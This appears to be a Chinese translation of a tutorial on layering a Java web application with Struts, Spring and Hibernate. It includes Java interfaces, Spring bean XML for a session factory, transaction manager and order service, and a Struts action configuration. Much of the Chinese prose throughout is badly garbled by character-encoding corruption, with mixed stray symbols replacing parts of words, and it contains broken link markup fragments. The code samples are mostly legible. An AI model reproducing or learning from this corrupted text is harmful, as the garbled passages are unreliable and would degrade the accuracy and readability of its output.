      构架一个Web应用需要弄明白好多问题ã€?òq¸è¿çš„æ˜¯åQŒå·²¾læœ‰ä¸å°‘开发者已¾lé‡åˆ°è¿‡˜q™ç±»é—®é¢˜åQŒåƈ且徏立了处理˜q™ç±»é—®é¢˜çš„æ¡†æž¶ã€‚一个好框架具备以下几点åQ?减轻开发者处理复杂的问题的负担("不重复发明轮å­?åQ‰ï¼› 内部有良好的扩展åQ?òq¶ä¸”有一个支持它的强大的用户团体。好的构架一般有针对性的处理某一¾c»é—®é¢˜ï¼Œòq¶ä¸”能将它做好(Do One Thing wellåQ‰ã€‚然而,你的½E‹åºä¸­æœ‰å‡ ä¸ªå±‚可能需要ä‹É用特定的框架åQŒå·²¾lå®Œæˆçš„UI(用户接口) òq¶ä¸ä»£è¡¨ä½ ä¹Ÿå¯ä»¥æŠŠä½ çš„业务逻辑和持久逻辑偶合åˆîC½ çš„UI部分。ä‹D个例子, 你不该在一个Controller(控制å™?里面写JDBCä»£ç ä½œäØ“ä½ çš„ä¸šåŠ¡é€»è¾‘åQ?˜q™ä¸æ˜¯æŽ§åˆ¶å™¨åº”该提供的ã€?一个UI 控制器应该委‹z„¡»™å…¶å®ƒ¾l™åœ¨UI范围之外的轻量çñ”¾l„äšgã€?好的框架应该能指å¯ég»£ç å¦‚何分布。更重要的是åQŒæ¡†æž¶èƒ½æŠŠå¼€å‘者从¾~–码中解攑ևºæ¥ï¼Œä½¿ä»–们能专心于应用程序的逻辑åQˆè¿™å¯¹å®¢æˆäh¥è¯´å¾ˆé‡è¦åQ‰ã€?

      ˜q™ç¯‡æ–‡ç« ž®†è®¨è®ºæ€Žæ ·¾l“合几种著名的框架来使得你的应用½E‹åºåšåˆ°æ‘Ö¼›è€¦åˆã€?
如何建立你的架构åQŒåƈ且怎样让你的各个应用层保持一致。?如何整合框架以便让每个层在以一¿Uæ¾æ•£å¶åˆçš„æ–¹å¼å½¼æ­¤ä½œç”¨è€Œä¸ç”¨ç®¡ä½Žå±‚的技术细节?˜q™å¯¹æˆ‘们来说真是一¿UæŒ‘战ã€?˜q™é‡Œè®¨è®ºä¸€ä¸ªæ•´åˆæ¡†æž¶çš„½{–ç•¥( 使用3 ¿Uå—‹Æ¢è¿Žçš„开源框æž? åQšè¡¨½Cºå±‚我们用StrutsåQ›ä¸šåŠ¡å±‚æˆ‘ä»¬ç”¨SpringåQ›è€ŒæŒä¹…层则用Hibernateã€?你也可以用其他FrameWork替换只要能得到同æ ïLš„æ•ˆæžœã€?见图1 åQˆæ¡†æž¶ç»„合示意图åQ?



应用½E‹åºçš„分å±?/SPAN>

大部分的Web应用在职责上臛_°‘能被分成4层。这四层是:presentationåQˆæ˜qŽÍ¼‰åQŒpersistenceåQˆæŒä¹…)åQŒbusinessåQˆä¸šåŠ¡ï¼‰å’Œdomain modelåQˆåŸŸæ¨¡å—åQ‰ã€‚每个层在处理程序上都应该有一™åÒŽ˜Ž¼‹®çš„è´£ä“Q, 而不应该在功能上与其它层混合åQŒåƈ且每个层要与其它层分开的,但要¾l™ä»–们之间放一个通信接口。我们就从介¾lå„个层开始,讨论一下这些层应该提供什么,不应该提供什么ã€?



表示�The Presentation Layer)

一般来è®ÔŒ¼Œä¸€ä¸ªå…¸åž‹çš„Web应用的的末端应该是表½Cºå±‚ã€?很多Java发者也理解Struts所提供的ã€?象业务逻辑之类的被打包到org.apache.struts.Action.åQ?å› æ­¤åQŒæˆ‘们很赞成使用Struts˜q™æ ·çš„æ¡†æž¶ã€?



下面是Struts所负责的:

* ½Ž¡ç†ç”¨æˆ·çš„请æ±?做出相应的响应ã€?

* 提供一个Controller ,委派调用业务逻辑和其它上层处理�

* 处理异常åQŒæŠ›¾l™Struts Action

* 为显½Cºæä¾›ä¸€ä¸ªæ¨¡åž?

* UI验证�



以下条款åQŒä¸è¯¥åœ¨Struts昄¡¤ºå±‚çš„¾~–码中经常出现ã€?它们与显½Cºå±‚无关的ã€?

* 直接的与数据库通信åQŒä¾‹å¦‚JDBC调用ã€?

* 与你应用½E‹åºç›¸å…³è”的业务逻辑以及校验ã€?

* 事物½Ž¡ç†ã€?

在表½Cºå±‚引入˜q™äº›ä»£ç åQŒåˆ™ä¼šå¸¦æ¥é«˜å¶åˆå’Œéº»çƒ¦çš„¾l´æŠ¤ã€?





持久�The Persistence Layer)

典型的Web应用的另一个末端是持久层。这里通常是程序最å®ÒŽ˜“失控的地斏V€‚开发者æ€ÀL˜¯ä½Žä¼°æž„徏他们自己的持久框架的挑战性。系¾lŸå†…部的持箋层不但需要大量调试时é—ß_¼Œè€Œä¸”˜q˜ç»å¸¸ç¼ºž®‘功能ä‹É之变得难以控åˆÓž¼Œ˜q™æ˜¯æŒä¹…层的通病。还好有几个ORM开源框架很好的解决了这¾c»é—®é¢˜ã€‚尤其是Hibernateã€?Hibernate为java提供了OR持久化机制和查询服务, 它还¾l™å·²¾lç†Ÿæ‚‰SQLå’ŒJDBC API çš„Java开发者一个学习桥梁,他们学习èµäh¥å¾ˆæ–¹ä¾Ñ€?Hibernate的持久对象是åŸÞZºŽPOJOå’ŒJava collections。此外,使用Hibernateòq¶ä¸å¦¨ç¢ä½ æ­£åœ¨ä‹É用的IDEã€?



è¯ïLœ‹ä¸‹é¢çš„æ¡ç›®ï¼Œä½ åœ¨æŒä¹…层编码中需要了解的ã€?

* 查询对象的相关信息的语句ã€?Hibernate通过一个OO查询语言åQˆHQLåQ‰æˆ–者正则表辄¡š„API来完成查询ã€?HQL非常¾cÖM¼¼äºŽSQL-- 只是把SQL里的tableå’Œcolumns用Object和它的fields代替ã€?你需要学习一些新的HQL语言åQ›ä¸½Ž¡æ€Žæ ·åQŒä»–们容易理解而文档也做的很好ã€?HQL是一¿Uå¯¹è±¡æŸ¥è¯¢çš„自然语言åQŒèŠ±å¾ˆå°çš„ä»£ä»·å°±èƒ½å­¦ä¹ å®ƒã€?

* 如何存储åQŒæ›´æ–ŽÍ¼Œåˆ é™¤æ•°æ®åº“记录ã€?

* 象Hibernate˜q™ç±»çš„高¾U§ORM框架支持大部分主‹¹æ•°æ®åº“åQŒåƈ且他们支æŒ?Parent/child关系åQŒäº‹ç‰©å¤„理,¾l§æ‰¿å’Œå¤šæ€ã€?



业务层(The Business LayeråQ?/SPAN>

一个典型Web应用的中间部分是业务层或者服务层ã€?从编码的视角来看åQŒè¿™å±‚是最å®ÒŽ˜“被忽视的一层。而我们却往往在UI层或持久层周围看到这些业务处理的代码åQŒè¿™å…¶å®žæ˜¯ä¸æ­£ç¡®çš„ï¼Œå› äØ“å®ƒå¯¼è‡´äº†½E‹åºä»£ç çš„紧密偶合,˜q™æ ·ä¸€æ¥ï¼Œéšç€æ—‰™—´æŽ¨ç§»˜q™äº›ä»£ç å¾ˆéš¾¾l´æŠ¤ã€‚幸好,针对˜q™ä¸€é—®é¢˜æœ‰å¥½å‡ ç§Frameworks存在ã€?最受欢˜qŽçš„两个框架是Springå’ŒPicoContainerã€‚è¿™äº›äØ“ä¹Ÿè¢«¿UîCØ“microcontainersåQŒä»–们能让你很好的把对象搭配èµäh¥ã€?˜q™ä¸¤ä¸ªæ¡†æž‰™ƒ½ç€æ‰‹äºŽâ€˜ä¾èµ–注ž®?(dependency injection)(˜q˜æœ‰æˆ‘们知道的‘控制反è½?Inversion of Control=IoC)˜q™æ ·çš„简单概å¿üc€‚è¿™½‹‡æ–‡ç« å°†å…Ïx³¨äºŽSpring的注ž®„(译注åQšé€šè¿‡ä¸€ä¸ªç»™å®šå‚æ•°çš„Setteræ–ÒŽ³•来构造Bean,有所不同于FactoryåQ? Spring˜q˜æä¾›äº†Setter Injection(type2)åQŒConstructor Injection(type3)½{‰æ–¹å¼ä¾›æˆ‘们选择ã€?Spring把程序中所涉及到包含业务逻辑和Daoçš„Objects——例如transaction management handleråQˆäº‹ç‰©ç®¡ç†æŽ§åˆÓž¼‰ã€Object Factoris(对象工厂)、service objectsåQˆæœåŠ¡ç»„ä»Óž¼‰â€”—都通过XML来配¾|®è”¾p»è“v来ã€?



后面我们会ä‹D个例子来揭示一下Spring 是怎样˜qç”¨˜q™äº›æ¦‚念ã€?

业务层所负责的如下:

* 处理应用½E‹åºçš?业务逻辑和业务校éª?

* ½Ž¡ç†äº‹ç‰©

* å…è®¸ä¸Žå…¶å®ƒå±‚ç›æ€º’作用的接å?

* ½Ž¡ç†ä¸šåС层çñ”别的对象的依赖ã€?

* 在显½Cºå±‚和持久层之间增加了一个灵‹zÈš„æœºåˆ¶åQŒä‹É得他们不直接的联¾pÕdœ¨ä¸€èµ—÷€?

* 通过揭示 从显½Cºå±‚åˆîC¸šåŠ¡å±‚ä¹‹é—´çš„Context来得到business servicesã€?

* ½Ž¡ç†½E‹åºçš„æ‰§è¡Œï¼ˆä»Žä¸šåŠ¡å±‚åˆ°æŒä¹…å±‚åQ‰ã€?





域模块层åQˆThe Domain Model Layer åQ?/SPAN>
既然我们致力于的是一个不是很复杂的Web的应用, 我们需要一个对象集合,让它在不同层之间¿UÕdŠ¨çš„ã€?域模块层由实际需求中的业务对象组成比å¦? OrderLineItem , Product½{‰ç­‰ã€?开发者在˜q™å±‚ 不用½Ž¡é‚£äº›DTOsåQŒä»…å…Ïx³¨domain object卛_¯ã€‚例如,Hibernate允许你将数据库中的信息存攑օ¥å¯¹è±¡åQˆdomain objectsåQ‰ï¼Œ˜q™æ ·ä½ å¯ä»¥åœ¨˜qžæŽ¥æ–­å¼€çš„æƒ…况下把这些数据显½Cºåˆ°UI层。而那些对象也可以˜q”回¾l™æŒ¾l­å±‚åQŒä»Žè€Œåœ¨æ•°æ®åº“里更新。而且åQŒä½ ä¸å¿…把对象è{化成DTOsåQˆè¿™å¯èƒ½ä¼¼çš„它在不同层之间的在传输过½E‹ä¸­ä¸¢å¤±åQ‰ï¼Œ˜q™ä¸ªæ¨¡åž‹ä½¿å¾—Java开发者能很自然运用OOåQŒè€Œä¸éœ€è¦é™„加的¾~–码ã€?

一个简单例�



既然我们已经从全局上理解这些组件ã€?现在ž®Þp®©æˆ‘们开始实践吧ã€?我们˜q˜æ˜¯ç”?StrutsåQŒSpring å’ŒHibernate。这三个框架已经被描˜q°å¤Ÿå¤šäº†åQŒè¿™é‡Œå°±ä¸é‡å¤ä»‹¾läº†ã€?˜q™ç¯‡æ–‡ç« ä¸¾ä¾‹æŒ‡å¯¼ä½ å¦‚何ä‹É用这三个框架整合开å? òq¶å‘你揭½CÞZ¸€ä¸ªè¯·æ±‚是如何贯穿于各个层的。(从用æˆïLš„加入一个Order到数据库åQŒæ˜¾½Cºï¼›˜q›è€Œæ›´æ–°ã€åˆ é™¤ï¼‰ã€?



从这里可以下载到½E‹åº½E‹åºåŽŸä»£ç ï¼ˆdownloadåQ?

既然每个层是互相作用的,我们ž®±å…ˆæ¥åˆ›å»ºdomain objects。首先,我们要在˜q™äº›Object中要¼‹®å®šé‚£äº›æ˜¯éœ€è¦æŒä¹…化的,哪些是提供给business logicåQŒé‚£äº›æ˜¯æ˜„¡¤ºæŽ¥å£çš„设计。下一步,我们ž®†é…¾|®æˆ‘ä»¬çš„æŒä¹…å±‚åÆˆä¸”å®šä¹‰å¥½Hibernateçš„OR mappings。然后定义好Business Objects。有了这些组成部分之后,我们ž®?使用Spring把这些连接è“v来。最后,我们提供¾l™Spring一个持久层åQŒä»Ž˜q™ä¸ªæŒä¹…层里我们可以知道它是如何与业务逻辑层(business service layeråQ‰é€šä¿¡çš„,以及它是怎样处理其他层抛出的异常的。ã€?



域对象层åQˆDomain Object LayeråQ?/SPAN>


˜q™å±‚是编码的着手点åQŒæˆ‘们的¾~–码ž®×ƒ»Ž˜q™å±‚开始ã€?例子中Order 与OrderItem 是一个One—To—Many的关¾p…R€?下面ž®±æ˜¯Domain Object Layer的两个对象:



· com.meagle.bo.Order.java: 包含了一个Order的概要信�

· com.meagle.bo.OrderLineItem.java: 包含了Order的详¾l†ä¿¡æ?

好好考虑怎你的package命名,˜q™ååº”出了你是怎样分层的ã€?例如 domain objects在程序中可能打包在com.meagle.bo内ã€?更详¾l†ä¸€ç‚¹å°†æ‰“包在com. meagle.bo的子目录下面。business logic应该从com.meagle.serice开始打包,而DAO 对象应该位于com.meagle.service.dao.hibernate。反应Formså’ŒActions的持久对象(presentation classesåQ?应该分别攑֜¨ com.meagle.actionå’Œcom.meagle.forms包。准¼‹®çš„¾l™åŒ…命名使得你的classes很好分割òq¶ä¸”易于¾l´æŠ¤åQŒåƈ且在你添加新的classesæ—Óž¼Œèƒ½ä‹É得程序结构上保持上下一致ã€?

持久层的配置åQˆPersistence Layer ConfigurationåQ?/SPAN>

建立Hibernate的持久层 需要好几个步骤ã€?½W¬ä¸€æ­¥è®©æˆ‘们把BO持久化ã€?既然Hibernate是通过POJO工作的,因此Orderå’?OrderLineItem对象需要给所有的fileds 加上getter,setteræ–ÒŽ³•ã€?Hibernate通过XMLæ–‡äšg来映ž®?OR)对象åQŒä»¥ä¸‹ä¸¤ä¸ªxmlæ–‡äšg分别映射了Order å’ŒOrderItem对象。(˜q™é‡Œæœ‰ä¸ªå«XDoclet工具可以自动生成你的XML影射文äšgåQ?

- Order.hbm.xml
- OrderLineItem.hbm.xml

你可以在WebContent/WEB-INF/classes/com/meagle/bo目录下找到这些xmlæ–‡äšg。Hibernateçš?[urlhttp://www.hibernate.org/hib_docs/api/net/sf/hibernate/SessionFactory.html]SessionFactory [/url]是用来告诉程åº?应该与哪个数据库通信åQŒè¯¥ä½¿ç”¨å“ªä¸ª˜qžæŽ¥æ± æˆ–使用了DataSourceåQ?应该加蝲哪些持久对象。è€?A target=_blank rel=nofollow>Session接口是用来完成SelectingåQŒSavingåQŒDeleteå’ŒUpdating˜q™äº›æ“ä½œã€?后面的我们将讲述SessionFactoryå’ŒSession是怎样讄¡½®çš„ã€?

业务层的配置åQˆBusiness Layer ConfigurationåQ?/SPAN>

既然我们已经有了domain objectsåQŒæŽ¥ä¸‹æ¥æˆ‘们ž®Þp¦business service objects了,用他们来执行½E‹åºçš„logic,调用持久层,得到UI层的requests,处理transactionsåQŒåƈ且控åˆ?exceptionsã€?ä¸ÞZº†ž®†è¿™äº›è¿žæŽ¥è“væ¥åÆˆä¸”æ˜“äºŽç®¡ç†ï¼Œæˆ‘ä»¬ž®†ä‹É用面向方面的 SpringFrameworkã€?Spring 提供了控制倒置åQˆinversion of control 0==IoC)和注ž®„依赖设¾|®ï¼ˆsetter dependency injectionåQ‰è¿™äº›æ–¹å¼ï¼ˆå¯ä¾›é€‰æ‹©åQ‰ï¼Œç”¨XMLæ–‡äšgž®†å¯¹è±¡è¿žæŽ¥è“v来ã€?IoCæ˜¯ä¸€ä¸ªç®€å•æ¦‚å¿µï¼ˆå®ƒå…è®æ€¸€ä¸ªå¯¹è±¡åœ¨ä¸Šå±‚接受其他对象的创建)åQŒç”¨IoC˜q™ç§æ–¹å¼è®©ä½ çš„对象从创徏中释放了出来åQŒé™ä½Žäº†å¶åˆåº¦ã€?




˜q™é‡Œæ˜¯ä¸€ä¸ªæ²¡æœ‰ä‹É用IoC的对象创建的例子åQŒå®ƒæœ‰å¾ˆé«˜å¶åˆåº¦ã€?




�2.没有使用 IoC. A 创徏�B �C

而这里是一个ä‹É用IoC的例子,˜q™ç§æ–¹å¼å…è®¸å¯¹è±¡åœ¨é«˜å±‚å¯ä»¥åˆ›å»ºåÆˆ˜q›å…¥å¦å¤–一个对象,所以这样可以直接被执行ã€?


å›?3. 对象使用äº?IoCã€?A 包含了接受B,Cçš?setteræ–ÒŽ³• , ˜q™åŒæ ¯‚¾¾åˆîCº† ç”±A创徏B,C的目的ã€?/SPAN>

建立我们的业务服务对象(Building Our Business Service ObjectsåQ?


Business Object中的Setteræ–ÒŽ³•接受的是接口åQŒè¿™æ ähˆ‘们可以很松散的定义对象实玎ͼŒç„¶åŽæ³¨å…¥ã€‚在我们的案例中åQŒæˆ‘们将用一个business service object接收一个DAO,用它来控制domain objects的持久化。由于在˜q™ä¸ªä¾‹å­ä¸­ä‹É用了HibernateåQŒæˆ‘们可以很方便的用其他持久框架实现 同时通知Spring 有新的DAO可以使用了ã€?

在面向接口的¾~–程中,你会明白 "注射依赖"模式是怎样松散耦合你的业务逻辑和持久机制的åQšï¼‰ã€?



下面是一个接口business service objectåQŒDAO代码片段åQ?


代码:

public interface IOrderService {

  public abstract Order saveNewOrder(Order order)

    throws OrderException,

           OrderMinimumAmountException;

 

  public abstract List findOrderByUser(

                                     String user)

                           throws OrderException;

 

  public abstract Order findOrderById(int id)

                           throws OrderException;

 

  public abstract void setOrderDAO(

                             IOrderDAO orderDAO);

}

 

注意到这ŒDµä»£ç é‡Œæœ‰ä¸€ä¸?setOrderDaoåQˆï¼‰åQŒå®ƒž®±æ˜¯ä¸€ä¸ªDAO Object讄¡½®æ–ÒŽ³•åQˆæ³¨ž®„器åQ‰ã€‚但˜q™é‡Œòq¶æ²¡æœ‰ä¸€ä¸ªgetOrderDao的方法,˜q™ä¸å¿…要åQŒå› ä¸ÞZ½ òq¶ä¸ä¼šåœ¨å¤–部讉K—®˜q™ä¸ªorderDao。这个DAO Objectež®†è¢«è°ƒç”¨åQŒå’Œæˆ‘们的persistence layer 通信。我们将用Spring把DAO Object å’?business service object搭配èµäh¥çš„。因为我们是面向接口¾~–ç¨‹çš„ï¼Œæ‰€ä»¥åÆˆä¸éœ€è¦å°†å®žçŽ°¾cȝ´§å¯†çš„耦合在一赗÷€?



接下åŽÀLˆ‘们开始我们的DAO的实现类˜q›è¡Œ¾~–码ã€?既然Spring已经有对Hibernate的支持,那这个例子就直接¾l§æ‰¿HibernateDaoSupport¾cÖMº†åQŒè¿™ä¸ªç±»å¾ˆæœ‰ç”¨ï¼Œæˆ‘们可以参è€?A target=_blank rel=nofollow>HibernateTemplateåQˆå®ƒä¸»è¦æ˜¯é’ˆå¯¹HibernateDaoSupport的一个用法,译注åQšå…·ä½“可以查çœ?A target=_blank rel=nofollow>Srping çš„APIåQ‰ã€?下面是这个DAO接口代码åQ?

代码:
public interface IOrderDAO {
  public abstract Order findOrderById(
                                    final int id);
 
  public abstract List findOrdersPlaceByUser(
                           final String placedBy);
  public abstract Order saveOrder(
                               final Order order);
}


我们仍然要给我们持久层组装很多关联的对象åQŒè¿™é‡ŒåŒ…含了HibernateSessionFactory å’ŒTransactionManagerã€?Spring 提供了一ä¸?HibernateTransactionManageråQŒä»–用线½E‹æ†¾l‘了一个Hibernate SessionåQŒç”¨å®ƒæ¥æ”¯æŒtransactions(è¯ähŸ¥çœ?A target=_blank rel=nofollow>ThreadLocal) ã€?

下面是HibernateSessionFactory å’?HibernateTransactionManager:的配¾|®ï¼š

代码:
<bean id="mySessionFactory"
       class="org.springframework.orm.hibernate.
              LocalSessionFactoryBean">
  <property name="mappingResources">
    <list>
      <value>
        com/meagle/bo/Order.hbm.xml
      </value>
      <value>
        com/meagle/bo/OrderLineItem.hbm.xml
      </value>
    </list>
  </property>
  <property name="hibernateProperties">
    <props>
      <prop key="hibernate.dialect">
        net.sf.hibernate.dialect.MySQLDialect
      </prop>
      <prop key="hibernate.show_sql">
        false
      </prop>
      <prop key="hibernate.proxool.xml">
        C:/MyWebApps/.../WEB-INF/proxool.xml
      </prop>
      <prop key="hibernate.proxool.pool_alias">
          spring
      </prop>
    </props>
  </property>
</bean>
 
<!-- Transaction manager for a single Hibernate
SessionFactory (alternative to JTA) -->
<bean id="myTransactionManager"
         class="org.
                springframework.
                orm.
                hibernate.
                HibernateTransactionManager">
  <property name="sessionFactory">
    <ref local="mySessionFactory"/>
  </property>
  </bean>



可以看出åQšæ¯ä¸ªå¯¹è±¡éƒ½å¯ä»¥åœ¨Spring 配置信息中用<bean>标签引用。在˜q™é‡ŒåQŒmySessionFactory引用了HibernateSessionFactoryåQŒè€?myTransactionManager引用了HibernateTransactionManage。注意代码中myTransactionManger Bean有个sessionFactory属性ã€?HibernateTransactionManager有个sessionFactory setter å’?getteræ–ÒŽ³•åQŒè¿™æ˜¯ç”¨æ¥åœ¨Spring启动的时候实çŽ?依赖注入" åQˆdependency injectionåQ‰çš„。在sessionFactory 属性里 引用mySessionFactory。这两个对象在Spring容器初始化后ž®Þp¢«¾l„装了è“v来了。这æ ïLš„æ­é…è®©ä½ ä»?单例åQˆsingleton objectsåQ‰å’Œå·¥åŽ‚åQˆfactoriesåQ‰ä¸­è§£æ”¾äº†å‡ºæ¥ï¼Œé™ä½Žäº†ä»£ç çš„¾l´æŠ¤ä»£ä­hã€?mySessionFactory.的两个属性,分别是用来注入mappingResources å’?hibernatePropertes的。通常åQŒå¦‚果你在Spring之外使用Hibernate,˜q™æ ·çš„设¾|®åº”该放åœ?hibernate.cfg.xml中的。不½Ž¡æ€Žæ ·,Spring提供了一个便æïLš„æ–¹å¼-----在Springå†…éƒ¨é…ç½®ä¸­åÆˆå…¥äº†Hibernate的配¾|®ã€‚如果要得到更多的信息,可以查阅Spring APIã€?





既然我们已经¾l„装配置好了Service BeansåQŒå°±éœ€è¦æŠŠBusiness Service Objectå’?DAO也组装è“v来,òq¶æŠŠ˜q™äº›å¯¹è±¡é…åˆ°ä¸€ä¸ªäº‹åŠ¡ç®¡ç†å™¨åQˆtransaction manageråQ‰é‡Œã€?



在Spring中的配置信息åQ?
代码:

<!-- ORDER SERVICE -->
<bean id="orderService"
  class="org.
         springframework.
         transaction.
         interceptor.
         TransactionProxyFactoryBean">
  <property name="transactionManager">
    <ref local="myTransactionManager"/>
  </property>
  <property name="target">
    <ref local="orderTarget"/>
  </property>
  <property name="transactionAttributes">
    <props>
      <prop key="find*">
     PROPAGATION_REQUIRED,readOnly,-OrderException
      </prop>
      <prop key="save*">
     PROPAGATION_REQUIRED,-OrderException
      </prop>
    </props>
  </property>
</bean>
 
<!-- ORDER TARGET PRIMARY BUSINESS OBJECT:
Hibernate implementation -->
<bean id="orderTarget"
         class="com.
                meagle.
                service.
                spring.
                OrderServiceSpringImpl">
  <property name="orderDAO">
    <ref local="orderDAO"/>
  </property>
</bean>
 
<!-- ORDER DAO OBJECT -->
<bean id="orderDAO"
         class="com.
                meagle.
                service.
                dao.
                hibernate.
                OrderHibernateDAO">
  <property name="sessionFactory">
    <ref local="mySessionFactory"/>
  </property>
</bean>




å›? 是我们对象搭建的一个提¾UŒÓ€?从中可以看出åQŒæ¯ä¸ªå¯¹è±¡éƒ½è”系着SpringåQŒåƈ且能通过Spring注入到其他对象。把它与Spring的配¾|®æ–‡ä»¶æ¯”较,观察他们之间的关¾p?



å›?4. Springž®±æ˜¯˜q™æ ·åŸÞZºŽé…ç½®æ–‡äšgåQŒå°†å„个Bean搭徏在一赗÷€?/SPAN>

˜q™ä¸ªä¾‹å­ä½¿ç”¨ä¸€ä¸ªTransactionProxyFactoryBeanåQŒå®ƒå®šä¹‰äº†ä¸€ä¸ªsetTransactionManager()。这对象很有用,他能很方便的处理你申明的事物˜q˜æœ‰Service Object。你可以通过transactionAttributes属性来定义怎样处理。想知道更多˜q˜æ˜¯å‚考TransactionAttributeEditor吧ã€?

TransactionProxyFactoryBean ˜q˜æœ‰ä¸ªsetter. ˜q™ä¼šè¢«æˆ‘ä»?Business service objectåQˆorderTargetåQ‰å¼•用, orderTarget定义了业务服务层åQŒåƈ且它˜q˜æœ‰ä¸ªå±žæ€§ï¼Œç”±setOrderDAO()引用。这个属æ€?



Spring å’ŒBean 的还有一点要注意的: bean可以以用两种方式创造。这些都在单例模式(SingtonåQ‰å’ŒåŽŸåž‹æ¨¡å¼åQˆpropotypeåQ‰ä¸­å®šä¹‰äº†ã€?默认的方式是singleton,˜q™æ„å‘³ç€å…׃ín的实例将被束¾~šã€‚而原形模式是在Spring用到bean的时候允许新建实例的。当每个用户需要得åˆîC»–们自己Beançš„Copyæ—Óž¼Œä½ åº”该仅使用prototype模式。(更多的请参考设计模式中的单例模式和原åŞ模式åQ?

提供一个服务定位器åQˆProviding a Service LocatoråQ?/SPAN>
既然我们已经ž®†æˆ‘们的Sericeså’ŒDAO搭配èµäh¥äº†ã€‚我们需要把我们的Service昄¡¤ºåˆ°å…¶ä»–层。这个通常是在Struts或者Swing˜q™å±‚里编码。一个简单方法就是用 服务定位器返回给Spring context 。当ç„Óž¼Œå¯ä»¥é€šè¿‡ç›´æŽ¥è°ƒç”¨Spring中的Bean来做ã€?

下面是一个Struts Actin 中的服务定位器的一个例子�
代码:

public abstract class BaseAction extends Action {
 
  private IOrderService orderService;
 
  public void setServlet(ActionServlet
                                 actionServlet) {
    super.setServlet(actionServlet);
    ServletContext servletContext =
               actionServlet.getServletContext();
 
    WebApplicationContext wac =
      WebApplicationContextUtils.
         getRequiredWebApplicationContext(
                                 servletContext);
 
      this.orderService = (IOrderService)
                     wac.getBean("orderService");
  }
 
  protected IOrderService getOrderService() {
    return orderService;
  }
}
 

UI 层配¾|?åQˆUI Layer ConfigurationåQ?/SPAN>

˜q™ä¸ªä¾‹å­é‡ŒUIå±?使用了Struts framework. ˜q™é‡Œæˆ‘们要讲˜qîC¸€ä¸‹åœ¨¾l™ç¨‹åºåˆ†å±‚的时候, 哪些是和Struts部分的。我们就从一个Struts-config.xmlæ–‡äšg中的Action的配¾|®ä¿¡æ¯å¼€å§‹å§ã€?
代码:

struts-config.xml file.

<action path="/SaveNewOrder"
    type="com.meagle.action.SaveOrderAction"
    name="OrderForm"
    scope="request"
    validate="true"
    input="/NewOrder.jsp">
  <display-name>Save New Order</display-name>
  <exception key="error.order.save"
    path="/NewOrder.jsp"
    scope="request"
    type="com.meagle.exception.OrderException"/>
  <exception key="error.order.not.enough.money"
    path="/NewOrder.jsp"
    scope="request"
    type="com.
          meagle.
          exception.
          OrderMinimumAmountException"/>
  <forward name="success" path="/ViewOrder.jsp"/>
  <forward name="failure" path="/NewOrder.jsp"/>
</action>

SaveNewOrder ˜q™ä¸ªAction是用来持久化UI层里的表单提交过来Order的。这是Struts中一个很典型的Action; 注意观察˜q™ä¸ªAction中exception配置åQŒè¿™äº›Exceptions也在Spring 配置文äšg(applicationContext-hibernate.xml)中配¾|®äº†åQˆå°±åœ?business service object çš„transactionAttributes属性里åQ‰ã€?当异常在业务层被被抛出时åQŒæˆ‘们可以控制他们,òq‰™€‚当的显½Cºç»™UI层ã€?

½W¬ä¸€ä¸ªå¼‚常,OrderException,在持久层保存order对象å¤ÞpÓ|的时候被触发。这ž®†å¯¼è‡´äº‹ç‰©å›žæ»šåƈ且通过BO把异常回传到Struts˜q™ä¸€å±‚ã€?

½W¬äºŒä¸ªå¼‚常,OrderMinimumAmountException也同½W¬ä¸€ä¸ªä¸€æ —÷€?





搭配整和的最后一æ­?通过是让你显½Cºå±‚和业务层相结合。这个已¾lè¢«æœåŠ¡å®šä½å™¨ï¼ˆservice locatoråQ‰å®žçŽîCº†åQˆå‰é¢è®¨è®ø™¿‡äº†ï¼‰åQ?˜q™é‡ŒæœåŠ¡å±‚ä½œä¸ÞZ¸€ä¸ªæŽ¥å£æä¾›ç»™æˆ‘们的业务逻辑和持久层ã€?



SaveNewOrder Action 在Struts中用一个服务定位器åQˆservice locatoråQ‰æ¥è°ƒç”¨æ‰§è¡Œä¸šåŠ¡æ–ÒŽ³•çš„ã€?æ–ÒŽ³•代码如下åQ?



代码:
public ActionForward execute(

  ActionMapping mapping,

  ActionForm form,

  javax.servlet.http.HttpServletRequest request,

  javax.servlet.http.HttpServletResponse response)

  throws java.lang.Exception {

 

  OrderForm oForm = (OrderForm) form;

 

  // Use the form to build an Order object that

  // can be saved in the persistence layer.

  // See the full source code in the sample app.

 

  // Obtain the wired business service object

  // from the service locator configuration

  // in BaseAction.

  // Delegate the save to the service layer and

  // further upstream to save the Order object.

  getOrderService().saveNewOrder(order);

 

  oForm.setOrder(order);

 

  ActionMessages messages = new ActionMessages();

  messages.add(

      ActionMessages.GLOBAL_MESSAGE,

            new ActionMessage(

      "message.order.saved.successfully"));

 

  saveMessages(request, messages);

 

  return mapping.findForward("success");

}


æ€È»“

˜q™ç¯‡æ–‡ç« åœ¨æŠ€æœ¯å’Œæž„æž¶æ–šw¢æŽ©ç›–了很多低层的基础信息åQ?文章的主要的意图在于让你意识到如何给你应用程序分层。分层可ä»?è§£è€?你的代码——允许新的组件被æ·ÕdŠ ˜q›æ¥åQŒè€Œä¸”让你的代码易于维护ã€?˜q™é‡Œç”¨åˆ°çš„æŠ€æœ¯åªæ˜¯ä¸“注于æŠ?解偶"做好。不½Ž¡æ€Žæ ·åQŒä‹É用这æ ïLš„æž„架可以让你用其他技术代替现在的层。例如,你可能不使用Hibernate实现持久化。既然你在DAO中面向接口的¾~–程的,所以你完全可以用iBATIS来代æ›Ñ€‚或者,你也可能想用 Struts外的其他的技术或者框架替换现在的UI层(转换久层åQŒå®žçް层òq¶ä¸åº”该直接影响åˆîC½ çš„业务逻辑和业务服务层åQ‰ã€‚用适当的框架搭å»ÞZ½ çš„Web应用åQŒå…¶å®žä¹Ÿä¸æ˜¯ä¸€ä»¶çƒ¦ççš„工作åQŒæ›´ä¸»è¦çš„æ˜¯å®?è§£è€?了你½E‹åºä¸­çš„各个层ã€?





后记åQ?

看完˜q™ç¯‡æ–‡ç« åŽï¼Œåªæ˜¯è§‰å¾—很喜‹Æ¢ï¼ŒäºŽæ˜¯ž®Þq¿»è¯‘了åQŒå½“然同时也准备着挨大家扔来的鸡蛋åQšï¼‰ã€?

